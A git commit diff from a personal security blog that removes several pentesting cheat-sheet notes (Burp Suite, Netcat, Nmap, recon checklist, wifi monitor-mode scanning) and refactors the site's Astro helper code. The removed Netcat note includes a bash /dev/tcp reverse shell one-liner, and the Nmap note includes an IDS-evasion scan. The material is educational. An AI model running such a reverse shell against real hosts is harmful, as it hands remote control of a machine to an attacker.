mirror of
https://github.com/anotherhadi/blog.git
synced 2026-05-20 05:32:32 +02:00
Notes edit and remove tests
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
This commit is contained in:
@@ -1,39 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Burp Suite - Basics"
|
|
||||||
description: "Intercept, inspect and modify HTTP traffic with Burp Suite."
|
|
||||||
category: "Web"
|
|
||||||
tags: ["burpsuite", "web", "proxy", "http"]
|
|
||||||
publishDate: 2026-04-24
|
|
||||||
---
|
|
||||||
|
|
||||||
Burp Suite is the standard proxy for web app pentesting.
|
|
||||||
|
|
||||||
## Setup
|
|
||||||
|
|
||||||
1. Launch Burp → Proxy → Options → listener on `127.0.0.1:8080`
|
|
||||||
2. Configure browser to use proxy `127.0.0.1:8080`
|
|
||||||
3. Install Burp's CA cert to intercept HTTPS
|
|
||||||
|
|
||||||
## Key Tabs
|
|
||||||
|
|
||||||
| Tab | Use |
|
|
||||||
|-----|-----|
|
|
||||||
| Proxy | Intercept and forward requests |
|
|
||||||
| Repeater | Replay and modify requests manually |
|
|
||||||
| Intruder | Fuzzing and brute force |
|
|
||||||
| Scanner | Automated vulnerability scan (Pro) |
|
|
||||||
| Decoder | Encode/decode data |
|
|
||||||
|
|
||||||
## Useful Shortcuts
|
|
||||||
|
|
||||||
| Shortcut | Action |
|
|
||||||
|----------|--------|
|
|
||||||
| `Ctrl+R` | Send to Repeater |
|
|
||||||
| `Ctrl+I` | Send to Intruder |
|
|
||||||
| `Ctrl+F` | Forward intercepted request |
|
|
||||||
|
|
||||||
## Intercept a Request
|
|
||||||
|
|
||||||
1. Enable intercept → browse the target
|
|
||||||
2. Request appears in Proxy tab
|
|
||||||
3. Modify → Forward
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Netcat - Basics"
|
|
||||||
description: "The Swiss Army knife of networking — listen, connect, transfer."
|
|
||||||
category: "Network"
|
|
||||||
tags: ["netcat", "network", "reverse-shell"]
|
|
||||||
publishDate: 2026-04-24
|
|
||||||
---
|
|
||||||
|
|
||||||
Netcat (`nc`) opens raw TCP/UDP connections. Pairs well with [Nmap](/notes/nmap-basics) for recon.
|
|
||||||
|
|
||||||
## Listen & Connect
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Listen on port 4444
|
|
||||||
nc -lvnp 4444
|
|
||||||
|
|
||||||
# Connect to host
|
|
||||||
nc 192.168.1.1 4444
|
|
||||||
```
|
|
||||||
|
|
||||||
## File Transfer
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Receiver
|
|
||||||
nc -lvnp 4444 > file.txt
|
|
||||||
|
|
||||||
# Sender
|
|
||||||
nc 192.168.1.1 4444 < file.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
## Reverse Shell
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Attacker — listen
|
|
||||||
nc -lvnp 4444
|
|
||||||
|
|
||||||
# Victim — connect back
|
|
||||||
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
|
|
||||||
```
|
|
||||||
|
|
||||||
## Banner Grabbing
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nc -nv 192.168.1.1 80
|
|
||||||
HEAD / HTTP/1.0
|
|
||||||
```
|
|
||||||
@@ -1,109 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Nmap - Basics"
|
|
||||||
description: "Quick reference for essential Nmap commands for network reconnaissance."
|
|
||||||
category: "Network"
|
|
||||||
tags: ["nmap", "recon", "network", "scanning"]
|
|
||||||
publishDate: 2026-04-24
|
|
||||||
---
|
|
||||||
|
|
||||||
## Introduction
|
|
||||||
|
|
||||||
Nmap (Network Mapper) is the go-to tool for network discovery and security auditing. It lets you scan hosts, detect open services, and identify operating systems. For raw connections and banner grabbing, see [Netcat](/notes/netcat).
|
|
||||||
|
|
||||||
## Installation
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Debian/Ubuntu
|
|
||||||
sudo apt install nmap
|
|
||||||
|
|
||||||
# Arch Linux
|
|
||||||
sudo pacman -S nmap
|
|
||||||
```
|
|
||||||
|
|
||||||
## Core Commands
|
|
||||||
|
|
||||||
### Host Discovery
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Ping scan (no port scan)
|
|
||||||
nmap -sn 192.168.1.0/24
|
|
||||||
|
|
||||||
# Skip ping (treat host as up)
|
|
||||||
nmap -Pn 192.168.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Port Scanning
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 1000 most common ports (default)
|
|
||||||
nmap 192.168.1.1
|
|
||||||
|
|
||||||
# All ports (0–65535)
|
|
||||||
nmap -p- 192.168.1.1
|
|
||||||
|
|
||||||
# Specific ports
|
|
||||||
nmap -p 22,80,443 192.168.1.1
|
|
||||||
|
|
||||||
# Port range
|
|
||||||
nmap -p 1-1024 192.168.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Service & OS Detection
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Service version detection
|
|
||||||
nmap -sV 192.168.1.1
|
|
||||||
|
|
||||||
# OS detection
|
|
||||||
nmap -O 192.168.1.1
|
|
||||||
|
|
||||||
# Aggressive scan (OS + version + scripts + traceroute)
|
|
||||||
nmap -A 192.168.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Scan Types
|
|
||||||
|
|
||||||
| Flag | Type | Description |
|
|
||||||
|------|------|-------------|
|
|
||||||
| `-sS` | SYN Scan | Fast and stealthy (requires root) |
|
|
||||||
| `-sT` | TCP Connect | Full connect, no root needed |
|
|
||||||
| `-sU` | UDP Scan | For UDP services |
|
|
||||||
| `-sN` | Null Scan | No TCP flags |
|
|
||||||
| `-sF` | FIN Scan | FIN flag only |
|
|
||||||
|
|
||||||
### NSE Scripts
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Specific script
|
|
||||||
nmap --script=http-title 192.168.1.1
|
|
||||||
|
|
||||||
# Script category
|
|
||||||
nmap --script=vuln 192.168.1.1
|
|
||||||
|
|
||||||
# Default scripts
|
|
||||||
nmap -sC 192.168.1.1
|
|
||||||
```
|
|
||||||
|
|
||||||
## Useful Flags
|
|
||||||
|
|
||||||
| Flag | Description |
|
|
||||||
|------|-------------|
|
|
||||||
| `-v` / `-vv` | Verbose output |
|
|
||||||
| `-oN <file>` | Normal text output |
|
|
||||||
| `-oX <file>` | XML output |
|
|
||||||
| `-oG <file>` | Grepable output |
|
|
||||||
| `-T0` to `-T5` | Timing (0=paranoid, 5=insane) |
|
|
||||||
| `--open` | Show only open ports |
|
|
||||||
|
|
||||||
## Practical Examples
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Full network scan
|
|
||||||
nmap -sV -sC -O -p- 192.168.1.0/24 -oN scan.txt
|
|
||||||
|
|
||||||
# Slow stealthy scan to avoid IDS
|
|
||||||
nmap -sS -T1 -f 192.168.1.1
|
|
||||||
|
|
||||||
# UDP scan of common ports
|
|
||||||
nmap -sU --top-ports 100 192.168.1.1
|
|
||||||
```
|
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
---
|
||||||
|
title: "Notes in comming.."
|
||||||
|
description: ""
|
||||||
|
tags: []
|
||||||
|
publishDate: 2026-04-24
|
||||||
|
---
|
||||||
|
|
||||||
|
## Notes
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Recon Checklist"
|
|
||||||
description: "Structured approach to reconnaissance before an engagement."
|
|
||||||
category: "Methodology"
|
|
||||||
tags: ["recon", "methodology", "checklist"]
|
|
||||||
publishDate: 2026-04-24
|
|
||||||
---
|
|
||||||
|
|
||||||
A quick checklist to follow before diving into exploitation.
|
|
||||||
|
|
||||||
## Network
|
|
||||||
|
|
||||||
- [ ] Discover live hosts — [Nmap](/notes/nmap-basics)
|
|
||||||
- [ ] Identify open ports and services — [Nmap](/notes/nmap-basics)
|
|
||||||
- [ ] Banner grab with [Netcat](/notes/netcat)
|
|
||||||
- [ ] Check for wireless networks — [Wifi Recon](/notes/wifi-recon)
|
|
||||||
|
|
||||||
## Web
|
|
||||||
|
|
||||||
- [ ] Spider the target
|
|
||||||
- [ ] Intercept traffic — [Burp Suite](/notes/burpsuite-basics)
|
|
||||||
- [ ] Check for common vulns (SQLi, XSS, LFI)
|
|
||||||
- [ ] Review JS files for endpoints and secrets
|
|
||||||
|
|
||||||
## Notes
|
|
||||||
|
|
||||||
- Document everything as you go
|
|
||||||
- Screenshot evidence
|
|
||||||
- Note service versions for CVE lookups
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
---
|
|
||||||
title: "Wifi Recon"
|
|
||||||
description: "Passive and active reconnaissance on wireless networks."
|
|
||||||
category: "Wifi"
|
|
||||||
tags: ["wifi", "recon", "aircrack", "monitor-mode"]
|
|
||||||
publishDate: 2026-04-24
|
|
||||||
---
|
|
||||||
|
|
||||||
Before attacking a wifi network, map the environment. Combine with [Nmap](/notes/nmap-basics) once connected.
|
|
||||||
|
|
||||||
## Enable Monitor Mode
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo airmon-ng check kill
|
|
||||||
sudo airmon-ng start wlan0
|
|
||||||
# Interface becomes wlan0mon
|
|
||||||
```
|
|
||||||
|
|
||||||
## Scan Networks
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Passive scan — all channels
|
|
||||||
sudo airodump-ng wlan0mon
|
|
||||||
|
|
||||||
# Target a specific AP
|
|
||||||
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
|
|
||||||
```
|
|
||||||
|
|
||||||
## Key Fields
|
|
||||||
|
|
||||||
| Field | Description |
|
|
||||||
|-------|-------------|
|
|
||||||
| BSSID | AP MAC address |
|
|
||||||
| PWR | Signal strength |
|
|
||||||
| #Data | Data frames (useful for WEP) |
|
|
||||||
| ENC | Encryption type |
|
|
||||||
| ESSID | Network name |
|
|
||||||
|
|
||||||
## Disable Monitor Mode
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo airmon-ng stop wlan0mon
|
|
||||||
sudo systemctl restart NetworkManager
|
|
||||||
```
|
|
||||||
@@ -3,6 +3,7 @@ import { getCollection, render } from "astro:content";
|
|||||||
import Layout from "../../layouts/Layout.astro";
|
import Layout from "../../layouts/Layout.astro";
|
||||||
import { Shield, ChevronLeft, List, PanelRight } from "@lucide/astro";
|
import { Shield, ChevronLeft, List, PanelRight } from "@lucide/astro";
|
||||||
import Author from "../../components/Author.astro";
|
import Author from "../../components/Author.astro";
|
||||||
|
import { getCategory, extractInlineHashtags } from "../../utils/notes";
|
||||||
|
|
||||||
export async function getStaticPaths() {
|
export async function getStaticPaths() {
|
||||||
const notes = await getCollection("notes");
|
const notes = await getCollection("notes");
|
||||||
@@ -17,12 +18,6 @@ const { Content } = await render(entry);
|
|||||||
|
|
||||||
const allNotes = await getCollection("notes");
|
const allNotes = await getCollection("notes");
|
||||||
const sortedNotes = allNotes.sort((a, b) => a.data.title.localeCompare(b.data.title));
|
const sortedNotes = allNotes.sort((a, b) => a.data.title.localeCompare(b.data.title));
|
||||||
function getCategory(n: { id: string; data: { category?: string } }): string {
|
|
||||||
if (n.data.category) return n.data.category;
|
|
||||||
const parts = n.id.split("/");
|
|
||||||
return parts.length > 1 ? parts[0] : "General";
|
|
||||||
}
|
|
||||||
|
|
||||||
const categories = [...new Set(allNotes.map(getCategory))].sort();
|
const categories = [...new Set(allNotes.map(getCategory))].sort();
|
||||||
|
|
||||||
function formatDate(date: Date) {
|
function formatDate(date: Date) {
|
||||||
@@ -30,7 +25,8 @@ function formatDate(date: Date) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function extractLinks(body: string): string[] {
|
function extractLinks(body: string): string[] {
|
||||||
const re = /\(\/notes\/([^)#\s]+)\)/g;
|
// Capture slug before optional #fragment: (/notes/slug) or (/notes/slug#section)
|
||||||
|
const re = /\(\/notes\/([^)#\s]+)(?:#[^)\s]*)?\)/g;
|
||||||
const ids: string[] = [];
|
const ids: string[] = [];
|
||||||
let m;
|
let m;
|
||||||
while ((m = re.exec(body)) !== null) ids.push(m[1]);
|
while ((m = re.exec(body)) !== null) ids.push(m[1]);
|
||||||
@@ -57,22 +53,28 @@ const graphEdges = [
|
|||||||
...backlinks.map((n) => ({ from: n.id, to: entry.id })),
|
...backlinks.map((n) => ({ from: n.id, to: entry.id })),
|
||||||
];
|
];
|
||||||
|
|
||||||
function extractInlineHashtags(body: string): string[] {
|
// Mirrors github-slugger exactly: keeps _, keeps unicode letters/numbers, spaces → hyphens
|
||||||
const re = /#(\w+)/g;
|
function slugify(text: string) {
|
||||||
const tags: string[] = [];
|
return text
|
||||||
let m;
|
.toLowerCase()
|
||||||
while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase());
|
.replace(/[^\p{L}\p{N}\s_-]/gu, "") // keep letters (unicode), numbers, spaces, _, -
|
||||||
return [...new Set(tags)];
|
.trim()
|
||||||
|
.replace(/ +/g, "-"); // spaces → hyphens (github-slugger does exactly this)
|
||||||
}
|
}
|
||||||
|
|
||||||
function slugify(text: string) {
|
|
||||||
return text.toLowerCase().replace(/`[^`]*`/g, "").replace(/[^\w\s-]/g, "").trim().replace(/[\s_]+/g, "-");
|
|
||||||
}
|
|
||||||
const headings: { depth: number; text: string; id: string }[] = [];
|
const headings: { depth: number; text: string; id: string }[] = [];
|
||||||
const headingRe = /^(#{2,4}) (.+)$/gm;
|
const headingRe = /^(#{2,4}) (.+)$/gm;
|
||||||
let hm;
|
let hm;
|
||||||
while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
||||||
const raw = hm[2].trim().replace(/\*\*|__|\*|_|`/g, "");
|
// Strip markdown formatting while preserving literal _ (word-internal underscores like my_var)
|
||||||
|
// Paired markers are stripped to their content; lone * are removed; _ only stripped at word boundaries
|
||||||
|
const raw = hm[2].trim()
|
||||||
|
.replace(/`[^`]*`/g, "") // `code` → remove
|
||||||
|
.replace(/\*\*(.*?)\*\*/g, "$1") // **bold** → text
|
||||||
|
.replace(/(?<!\p{L}\p{N})__(.*?)__(?!\p{L}\p{N})/gu, "$1") // __bold__ → text
|
||||||
|
.replace(/\*(.*?)\*/g, "$1") // *italic* → text
|
||||||
|
.replace(/(?<!\p{L}\p{N})_(.*?)_(?!\p{L}\p{N})/gu, "$1") // _italic_ → text
|
||||||
|
.replace(/[*]/g, ""); // orphan * markers
|
||||||
headings.push({ depth: hm[1].length, text: raw, id: slugify(raw) });
|
headings.push({ depth: hm[1].length, text: raw, id: slugify(raw) });
|
||||||
}
|
}
|
||||||
---
|
---
|
||||||
@@ -271,6 +273,8 @@ while ((hm = headingRe.exec(entry.body ?? "")) !== null) {
|
|||||||
<canvas
|
<canvas
|
||||||
id="note-graph"
|
id="note-graph"
|
||||||
height="190"
|
height="190"
|
||||||
|
role="img"
|
||||||
|
aria-label="Graph of linked notes"
|
||||||
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;"
|
style="width:100%; display:block; background: oklch(2% 0 0); cursor:default;"
|
||||||
></canvas>
|
></canvas>
|
||||||
{graphNodes.length <= 1 && (
|
{graphNodes.length <= 1 && (
|
||||||
|
|||||||
@@ -2,18 +2,13 @@
|
|||||||
import Layout from "../../layouts/Layout.astro";
|
import Layout from "../../layouts/Layout.astro";
|
||||||
import { getCollection } from "astro:content";
|
import { getCollection } from "astro:content";
|
||||||
import { ChevronRight, Shield } from "@lucide/astro";
|
import { ChevronRight, Shield } from "@lucide/astro";
|
||||||
|
import { getCategory } from "../../utils/notes";
|
||||||
|
|
||||||
const notes = await getCollection("notes");
|
const notes = await getCollection("notes");
|
||||||
const sortedNotes = notes.sort(
|
const sortedNotes = notes.sort(
|
||||||
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime()
|
(a, b) => b.data.publishDate.getTime() - a.data.publishDate.getTime()
|
||||||
);
|
);
|
||||||
|
|
||||||
function getCategory(n: { id: string; data: { category?: string } }): string {
|
|
||||||
if (n.data.category) return n.data.category;
|
|
||||||
const parts = n.id.split("/");
|
|
||||||
return parts.length > 1 ? parts[0] : "General";
|
|
||||||
}
|
|
||||||
|
|
||||||
const categories = [...new Set(notes.map(getCategory))].sort();
|
const categories = [...new Set(notes.map(getCategory))].sort();
|
||||||
|
|
||||||
const searchIndex = Object.fromEntries(
|
const searchIndex = Object.fromEntries(
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
export function getCategory(n: { id: string; data: { category?: string } }): string {
|
||||||
|
if (n.data.category) return n.data.category;
|
||||||
|
const parts = n.id.split("/");
|
||||||
|
return parts.length > 1 ? parts[0] : "General";
|
||||||
|
}
|
||||||
|
|
||||||
|
export function extractInlineHashtags(body: string): string[] {
|
||||||
|
const re = /#(\w+)/g;
|
||||||
|
const tags: string[] = [];
|
||||||
|
let m;
|
||||||
|
while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase());
|
||||||
|
return [...new Set(tags)];
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user